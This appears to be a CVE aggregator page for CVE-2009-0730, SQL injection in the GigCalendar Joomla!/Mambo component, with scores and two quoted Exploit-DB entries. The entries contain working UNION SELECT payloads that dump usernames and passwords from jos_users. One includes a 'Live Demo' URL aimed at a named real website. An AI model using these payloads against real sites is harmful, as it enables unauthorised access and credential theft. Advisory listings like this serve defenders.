CVE-2009-0730
published 2009-02-24CVE-2009-0730: Multiple SQL injection vulnerabilities in the GigCalendar (com_gigcal) component 1.0 for Mambo and Joomla!, when magic_quotes_gpc is disabled, allow remote…
PriorityP337medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EXPLOIT
EPSS
1.09%
61.2th percentile
Multiple SQL injection vulnerabilities in the GigCalendar (com_gigcal) component 1.0 for Mambo and Joomla!, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via (1) the gigcal _venues_id parameter in a details action to index.php, which is not properly handled by venuedetails.php, and (2) the gigcal_bands_id parameter in a details action to index.php, which is not properly handled by banddetails.php, different vectors than CVE-2009-0726.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| gigcalendar | com_gigcalendar | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection
exploitdb·2009-02-23
CVE-2009-0730 Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection
Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection
---
source: https://www.securityfocus.com/bid/33859/info
The gigCalendar component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
gigCalendar 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/path/index.php?option=com_gigcal&task=details&gigcal_bands_id=-1'
UNION ALL SELECT 1,2,3,4,5,concat('username: ', username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL from jos_users%23
Exploit-DB
Joomla! Component Gigcal 1.x - 'id' SQL Injection
exploitdb·2009-01-18
CVE-2009-0730 Joomla! Component Gigcal 1.x - 'id' SQL Injection
Joomla! Component Gigcal 1.x - 'id' SQL Injection
---
* *
* Joomla Component Gigcal SQL Injection Vulnerability *
* *
[=] Vulnerability found by: Lanti-Net
[=] Contact: lanti-net[at]hotmail[dot]com
[=] Site: www.khg-crew.ws
[=] Greetz: boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , SpYrO
[=] -=[Kosova Hackers Group]=--=[KHG-Crew]=-
[=] Exploit : /index.php?option=com_gigcal&Itemid=78&id={SQL}
[=] Example : /index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*
[=] Live Demo: http://www.fermaten.dk/index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,2
No writeups or analysis indexed.
http://www.securityfocus.com/archive/1/501174/100/0/threadedhttp://www.securityfocus.com/archive/1/501175/100/0/threadedhttp://www.securityfocus.com/archive/1/501176/100/0/threadedhttp://www.securityfocus.com/bid/33859http://www.securityfocus.com/bid/33863https://exchange.xforce.ibmcloud.com/vulnerabilities/48865http://www.securityfocus.com/archive/1/501174/100/0/threadedhttp://www.securityfocus.com/archive/1/501175/100/0/threadedhttp://www.securityfocus.com/archive/1/501176/100/0/threadedhttp://www.securityfocus.com/bid/33859http://www.securityfocus.com/bid/33863https://exchange.xforce.ibmcloud.com/vulnerabilities/48865
2009-02-24
Published